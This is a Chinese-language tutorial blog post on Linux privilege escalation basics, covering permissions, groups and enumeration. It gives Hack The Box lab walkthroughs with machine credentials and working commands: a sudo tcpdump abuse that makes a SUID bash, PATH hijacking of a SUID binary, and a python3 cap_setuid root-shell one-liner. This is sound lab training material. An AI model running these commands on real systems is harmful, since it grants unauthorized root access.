文章总结: 本文深入讲解了Linux权限提升的基础原理,包括用户组权限机制与枚举技巧。重点演示了利用sudo配置不当滥用tcpdump、SUID程序结合PATH劫持以及Capabilities赋予Python高权限这三种提权技术。通过真实靶机案例,强调了枚举与分析在发现提权路径中的关键作用,为掌握提权技能提供了实操参考。 综合评分: 89 文章分类: 渗透测试,实战经验,内网渗透
Linux 权限提升基础
haidragon
安全狗的自我修养
2026年1月7日 12:17 湖南
官网:http://securitytech.cc/
#
你好,我们将一起学习 Linux 权限提升(Privilege Escalation) 的基础知识,包括必须掌握的重要命令,以及一些可以用来拿到那“甜美的 root shell”的技术。如果你对这个主题感兴趣,那就跟我一起深入吧。
什么是权限提升(Privilege Escalation)?
权限提升(Privilege Escalation,简称 PrivEsc)是指从一个 低权限用户 提升到 高权限用户 的过程。 这通常是由于操作系统或其应用程序中存在 漏洞、错误配置或不安全的权限设置 所导致的。
权限提升通常分为两种类型:
- 纵向权限提升(Vertical Privilege Escalation): 从普通用户提升到管理员 / root。
- 横向权限提升(Horizontal Privilege Escalation): 从一个普通用户切换到另一个普通用户。
Linux 权限是如何工作的?
要理解权限提升,首先必须理解 Linux 的权限机制。
在 Linux 中,权限定义了 谁可以对文件进行读取(read)、写入(write)和执行(execute)。 权限分别分配给:
- 文件所有者(owner)
- 所属组(group)
- 其他用户(others)
查看文件权限可以使用以下命令:
ls -la {filename}
在示例中,这是一个普通的 .PHP 文件,其权限字符串为:
-rw-r--r--
权限始终由 10 个字符组成:
- 第 1 个字符:是否为目录
- 后 9 个字符:分为三组(owner / group / others)
对示例权限的解读如下:
- 第一个
-:表示这是一个文件,而不是目录 rw-:所有者可读、可写、不可执行r--:组用户只能读取r--:其他用户只能读取
再看一个可执行文件的例子:
-:不是目录rwx:所有者可读、可写、可执行r-x:组用户可读、可执行r-x:其他用户可读、可执行
用户(Users)
Linux 用户通常分为三类:
- Root 用户: 也称超级用户(Superuser),拥有系统的最高权限,可以访问所有文件和命令,并管理其他账户。
- 普通用户:
标准用户,只能访问自己的文件,通常位于
/home/username。 - 系统用户: 用于运行后台服务(如 Web 服务器、数据库)的账户。
id 命令用于显示当前用户的:
- 用户 ID(UID)
- 主组 ID(GID)
- 所属组列表
也可以查看其他用户的信息,例如:
id root
root 的 UID 永远是 0。
按回车或点击查看大图:
这是权限提升中 最重要的命令之一,因为它能直接告诉我们当前用户的权限级别以及所属的用户组,这些信息往往已经隐含了潜在的提权路径。
另一个非常重要的命令是:
sudo -l
该命令会列出当前用户 允许以 root 权限执行的命令,并告诉我们该用户是否能使用 sudo。后面你会看到它为何如此关键。
枚举系统中的用户
系统中的用户信息存储在 /etc/passwd 文件中:
cat /etc/passwd
若只想获取用户名列表:
cat /etc/passwd | cut -d ":" -f 1
-d ":":以:作为分隔符-f 1:取第一个字段(用户名)
普通用户通常拥有 /home 目录,可以这样筛选:
cat /etc/passwd | grep /home
查看当前登录用户的命令包括:
whowusers
用户组(Groups)
用户组在权限提升中扮演着非常重要的角色。 属于某些特定组,往往意味着:
- 更高权限
- 对敏感信息的访问
- 可被滥用的系统工具
常见可被滥用的用户组包括:
sudo:可使用sudo以 root 身份执行命令root:直接拥有 root 权限adm:可读取/var/log下的日志(可能包含凭据)docker:可启动特权容器获取宿主机 rootlxd/lxc:同样可构造特权容器并挂载宿主文件系统disk:直接访问磁盘原始数据
查看用户所属组:
id
groups
权限提升技术(Techniques)
权限提升不存在“万能都需要 枚举 → 分析 → 利用,找到适合的提权路径。
接下来我们将通过 Hack The Box 的真实靶机,学习三种常见提权方式:
sudoSUIDCapabilities
Sudo 提权
示例来自 Strutted 靶机。
通过 CVE-2024-53677 漏洞拿到初始权限后,我们获得了如下用户凭据:
username: james
password: IT14d6SSP81k
SSH 登录:
ssh [email protected]
查看系统信息:
uname -a
检查 sudo 权限:
sudo -l
发现可以 无需密码以 root 身份运行 tcpdump,这是一个明显的提权s:
GTFOBins 是一个整理好的 Unix 二进制程序滥用列表,可用于逃逸受限 shell、权限提升、维持高权限、文件传输、反弹 shell 等。
我们将 id 换成拷贝 bash 的命令:
COMMAND='cp /bin/bash /tmp/my_bash && chmod +s /tmp/my_bash'
这样会生成一个 带 SUID 的 root bash。
检查权限:
执行:
🎯 成功通过 sudo 滥用完成提权。
SUID 提权
示例来自 Oopsie。
用户凭据:
username: robert
password: M3g4C0rpUs3r!
该用户无法使用 sudo,但属于 bugtracker 组:
查找该组可执行文件:
find / -group bugtracker 2>/dev/null
发现:
/usr/bin/bugtracker
权限如下:
注意 rws,表示 SUID 位已设置,且 owner 是 root。
程序调用了未使用绝对路径的 cat,可通过 PATH 劫持 提权:
export PATH=/tmp:$PATH
构造恶意 cat:
执行 bugtracker 后:
🎯 获得 root shell。
Capabilities 提权
示例来自 Cap。
凭据:
username: nathan
password: Buck3tH4TF0RM3!
枚举 capabilities:
getcap -r / 2>/dev/null
发现:
/usr/bin/python3.8 = cap_setuid+ep
利用方式:
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
🎯 成功提权为 root。
总结
在本文中,我们学习了 Linux 权限提升的基础知识,并通过三个真实场景演示了:
sudo滥用SUID滥用Capabilities滥用
权限提升是一项需要不断练习和积累经验的技能,希望这篇文章能对你有所帮助,也能激发你继续深入学习。
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon《Linux 权限提升基础》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论